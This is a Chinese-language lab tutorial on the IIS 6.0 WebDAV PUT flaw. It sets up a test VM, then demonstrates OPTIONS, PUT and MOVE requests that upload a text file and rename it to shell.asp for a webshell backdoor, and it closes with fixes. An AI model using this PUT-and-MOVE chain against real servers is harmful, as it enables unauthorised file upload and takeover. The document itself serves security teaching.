0x00 IIS简介
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。
最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。
IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器.
分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。
0x01 Put漏洞造成原因
IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传。
0x02 实验环境搭建
1:安装VMware
2:安装WIN2003
3:配置网络连接
4:安装IIS6.0(64bit)
VMware虚拟机选择的网络是.NET模式,或者桥接模式也可以!但前提必须让2003和物理机相互Ping通才可以!
有时候互相Ping不通可能是防火墙的原因,可以把防火墙关闭就可以Ping通了
在这里我的物理机IP:192.168.1.100
WIN2003虚拟机的IP:192.168.119.133
然后配置完IIS后我们用物理机访问WIN2003的IP看看能不能打开网页:
上面说明是可以访问到网站的。(一切就绪)
0x03 需要用到的工具
这里不借助这个工具也是可行的,熟悉了这些请求方式的格式之后,就可以通过burp抓包,改数据也行。
当然也可以利用这个工具:IIS写权限的利用 - 桂林老兵:https://www.arpun.com/soft/13406.html
(PS:不建议下载到本机吼~)
0x04 IIS-PUT漏洞演示实战
首先来到Internet信息服务(IIS)管理器 - Web服务扩展:
我们把WebDAV设置为允许、然后网站主目录下设置可写入权限:
这个时候就有可能照成任意文件上传,我们来先来发送一个OPTIONS请求:
options 请求属于浏览器的预检请求,查看服务器是否接受请求,预检通过后,浏览器才会去发 get, post, put, delete 等请求。
可以看到服务器可以使用PUT、DELETE、MOVE等敏感请求方式,那么我们来试试用PUT写一个文件:
发现成功上传了txt文件。(这里如果无法上传的话,有可能是多重原因,网站目录权限不够或者没有在文件名前面加上/)
那我们再上传脚本文件asp试试:
这个时候就不行了,但是我们可以通过MOVE请求方式,并利用刚刚上传上去的test.txt文件做些改动:
这里就可以看到,我们通过先前上传的test.txt,借助MOVE给他更改了后缀名,那看看里面的内容有没有发生变化:
文件内容并没有发生任何变化,这里的MOVE协议是不可以更改文件内容的。
总结一下,只要能够上传恶意的txt文件,同时借助MOVE请求方式就可以生成恶意连接后门。
从新上传一个恶意txt,尝试连接菜刀,完全没问题的。
0x05 常见请求协议
GET:
GET /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Cookie: iscookies=0;
DELETE:
DELETE /test.txt HTTP/1.1
Host: 192.168.101.100
PUT:
PUT /test.txt HTTP/1.1
Host: 192.168.101.100
Content-Length: 17
this is a test
POST:
POST /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Content-Length: 5
Cookie: iscookies=0;
this is a test
MOVE:
MOVE /test.txt HTTP/1.1
Host: 192.168.101.100
Destination: http://192.168.101.100/shell.asp
0x06 漏洞修复建议
1:关闭WebDAV
2:关闭写入权限